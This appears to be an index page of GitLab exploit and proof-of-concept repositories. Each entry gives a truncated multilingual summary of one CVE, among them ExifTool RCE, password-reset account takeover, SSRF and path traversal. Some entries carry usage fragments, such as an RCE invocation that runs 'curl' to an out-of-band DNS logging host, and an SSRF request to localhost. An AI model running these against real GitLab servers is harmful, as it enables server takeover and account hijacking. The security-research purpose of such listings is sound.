CVE-2021-22205

CVE-2021-22205 Preauth RCE via exiftool on Gitlab CE/EE Summary of the CVE GitLab uses ExifTool to scan every tiff/jpeg/jpg file to remove any tags that are not whitelisted. But because ExifTool doesn't use file extensions to determine filetype but it rather uses the content of the file, which...

gitlab-exploit

gitlab-exploit GitLab CVE-2023-7028 GitLab CVE-2023-7028 The vulnerability was caused by a bug in how GitLab handled email verification during password reset. An attacker could provide two email addresses during a password reset request, and the reset code would be sent to both addresses. This...

CVE-2021-22205

CVE-2021-22205 Description - POC for CVE-2021-22205: Gitlab CE/EE RCE 未授权远程代码执行漏洞 POC && EXP - create by antx at 2021-10-29. Detail - An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file...

Review.CVE-2023-5612

CVE-2023-5612 – GitLab SSRF via Webhook URL PoC & Analysis 📌 CVE Overview CVE-ID: CVE-2023-5612 Severity: High CVSS: 8.1 Base Score Type: Server-Side Request Forgery SSRF Component: GitLab CE/EE Webhooks Affected Versions: GitLab CE/EE " \ --data-urlencode "url=http://127.0.0.1:8888" ...

CVE-2021-22205

Vuln Impact An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution. Vuln Product Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE...

CVE-2021-22205

CVE-2021-22205 GitLab fails to properly verify image files passed to the file parser, leading to command execution. An attacker can craft malicious requests to exploit this vulnerability and execute arbitrary commands on the target system, ultimately taking control of the GitLab server. Since mos...

CVE-2023-7028

CVE-2023-7028 在 GitLab CE/EE 中发现了一个问题，影响所有从 16.1 到 16.1.6 之前、16.2 到 16.2.9 之前、16.3 到 16.3.7 之前、16.4 到 16.4.5 之前、16.5 到 16.5.6 之前、16.6 到 16.6.4 之前以及 16.7 到 16.7.2 之前的版本。该问题导致用户账户的密码重置邮件可能被发送到未经验证的电子邮件地址。 PoC 已在 Kali 2023.3 上测试 在 Docker 中安装 GitLab 16.7.0-ee sudo docker pull...

CVE-2021-22214

CVE-2021-22214 Descripción - PoC para CVE-2021-22214: Vulnerabilidad SSRF sin autenticación en Gitlab CI Lint API - Creado por antx el 2021-11-01. Detalle - Cuando las solicitudes a la red interna para webhooks están habilitadas, una vulnerabilidad de falsificación de solicitudes del lado del...

CVE-2021-4191-EXPLOIT

CVE-2021-4191 - Enumeración de usuarios de GitLab GitLab es una herramienta de ciclo de vida DevOps basada en web y ampliamente utilizada que ofrece un administrador de repositorios Git con funciones integradas para integración continua, seguimiento de problemas, revisiones de código y más. La AP...

CVE-2021-22205

CVE-2021-22205 影响版本： Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Usage root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" 获取csrf-token： 通过 /users/signin 获取csrf-token 然后使用前面的 CVE-2021-22205 poc 进行构造上传包进行执行未经身份验证的上传请求，最终rce ref:...

CVE-2023-2825

CVE-2023-2825 Unauthenticated Directory traversal leads to file read. Summary of the CVE An issue has been discovered in GitLab CE/EE affecting only version 16.0.0. An unauthenticated malicious user can use a path traversal vulnerability to read arbitrary files on the server when an attachment...

CVE-2021-22205

Vuln Impact An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution. Vuln Product Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE...

CVE-2023-2825-PoC

CVE-2023-2825-PoC CVE-2023-2825 の概念実証（PoC）です。CVE-2023-2825 は GitLab CE/EE 16.0.0 における任意ファイル読み取りの脆弱性です。 このスクリプトは、有効な GitLab アカウントでログインし、必要な公開ネストグループ構造を作成し、公開プロジェクトを作成し、アタッチメントをアップロードし、脆弱なアップロードパス・トラバーサル動作を利用して GitLab サーバーからターゲットファイルを読み取ります。...

GitLab-CVE-2023-7028

GitLab CVE-2023-7028 — 模拟 16.6.0（仅主机） CVE-2023-7028（CVSS 10.0）：POST /users/password 接受 useremail 数组 — 服务器通过 email0 查找用户，但将相同的重置令牌发送到 每个 地址 → 攻击者使用 [email protected] 劫持 [email protected]。 受影响版本：GitLab CE/EE 16.5.6、16.6.4、16.7.2。此模拟复现 16.6.0 易受攻击的流程（JSON 数据库，无 SMTP）。 运行 npm install && npm...

CVE-2023-2825

CVE-2023-2825 2023年5月23日、GitLabはバージョン16.0.1をリリースし、Community Edition CE および Enterprise Edition EE バージョン16.0.0に影響を与える重大な脆弱性 CVE-2023-2825 を修正しました。この脆弱性により、認証されていないユーザーがパストラバーサルバグを通じて任意のファイルを読み取ることが可能になります。...

gitlab-ssrf

GitLab SSRF このリポジトリは、CVE-2018-19571 の再現であり、CRLFインジェクションエクスプロイトと組み合わせることでリモートコード実行 RCE に至る方法を示しています。 CVEの詳細 CVE-2018-19571 GitLab CE/EE のバージョン 8.18 から 11.x（11.3.11 未満）、11.4（11.4.8 未満）、11.5（11.5.1 未満）は、Webhook における SSRF の脆弱性の影響を受けます。 セットアップ この再現には、脆弱性のある GitLab イメージを使用し、Docker Compose を使って実行します。...

CVE-2023-7028

CVE-2023-7028 GitLab CVE-2023-7028：无需用户交互即可通过密码重置接管账户 GitLab CE/EE 中的一个严重漏洞（CVE-2023-7028）可被攻击者轻易利用，从而重置 GitLab 用户帐户的密码。 虽然这些帐户同样存在漏洞，但已启用双因素认证（2FA）的用户可以免受帐户接管的影响。此外，LDAP 登录也是安全的！ 关于 CVE-2023-7028 CVE-2023-7028 影响运行 GitLab Community Edition CE 和 Enterprise Edition EE 以下版本的 GitLab 自托管实例：...

CVE-2021-22205

CVE-2021-22205 GitLab CE/EE Preauth RCE using ExifTool This project is for learning only, if someone's rights have been violated, please contact me to remove the project, and the lastDO NOT USE IT ILLEGALLY If you have any illegal behavior in the process of using this tool, you will bear all the...

CVE-2021-22205-gitlab

Impacto de la vulnerabilidad Se ha descubierto un problema en GitLab CE/EE que afecta a todas las versiones a partir de la 11.9. GitLab no validaba correctamente los archivos de imagen que se pasaban a un analizador de archivos, lo que resultaba en una ejecución remota de comandos. Producto...

CVE-2026-19478

-b91c1c?style=flat-square CVE-2026-19478 — Nuclei 模板 针对 CVE-2026-19478 的非破坏性 Nuclei 检测模板。该漏洞是 GitLab GraphQL API 中的一个严重（CVSS 9.4）未认证任意方法调用缺陷，GitLab 已于 2026 年 8 月 17 日 修复。 TL;DR GitLab 的 GraphQL schema 支持一个 @glintroducedversion: "X.Y.Z" 指令，该指令将某个字段限制为仅在最低 GitLab 版本上可用。当该指令引用的版本 高于 当前运行实例时，GitLab...